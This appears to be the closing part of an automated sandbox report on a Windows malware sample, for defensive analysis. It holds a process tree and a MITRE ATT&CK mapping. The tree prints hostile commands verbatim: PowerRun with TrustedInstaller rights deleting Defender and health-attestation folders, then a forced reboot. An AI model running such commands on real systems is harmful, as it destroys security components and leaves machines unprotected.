                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\System32\HealthAttestationClient" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5836
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\System32\HealthAttestationClient" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5280
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\System32\HealthAttestationClient" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\System32\HealthAttestationClient" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\GameBarPresenceWriter" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5644
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\GameBarPresenceWriter" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\GameBarPresenceWriter" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5292
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\GameBarPresenceWriter" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4952
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerRun cmd.exe /c rmdir "C:\Windows\bcastdvr" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5788
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\bcastdvr" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5772
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\bcastdvr" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5796
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\bcastdvr" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PowerRun cmd.exe /c rmdir "C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5244
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c rmdir "C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5236
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c rmdir "C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5664
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c rmdir "C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim" /s /q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5548
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        timeout 10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:2920
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\shutdown.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        shutdown /r /f /t 0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7408 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7824 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7716 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1148
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2232 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6188 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1892,14132094821918880435,6999135297065009270,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5176
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4300
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:3044
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3256
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\oobe\UserOOBEBroker.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\AUDIODG.EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004BC
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:1460
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c82192ee-6cb5-4bc0-9ef0-fb818773790a} -Embedding
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5064
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4628
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "LogonUI.exe" /flags:0x4 /state0:0xa392b855 /state1:0x41c64e6d
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5392

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Resource Development

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Initial Access

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1059

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PowerShell

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1059.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Persistence

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LSASS Driver

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.008

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Component Object Model Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1546.015

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Executable Installer File Permissions Weakness

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1548

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        LSASS Driver

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.008

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1547.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1543

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Windows Service

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1543.003

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Event Triggered Execution

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1546

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Component Object Model Hijacking

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1546.015

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Executable Installer File Permissions Weakness

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1548

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Bypass User Account Control

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1548.002

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Hijack Execution Flow

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Executable Installer File Permissions Weakness

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1574.005

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1562

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1562.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1562.001

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1070

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        File Deletion

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        T1070.004

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Modify Registry

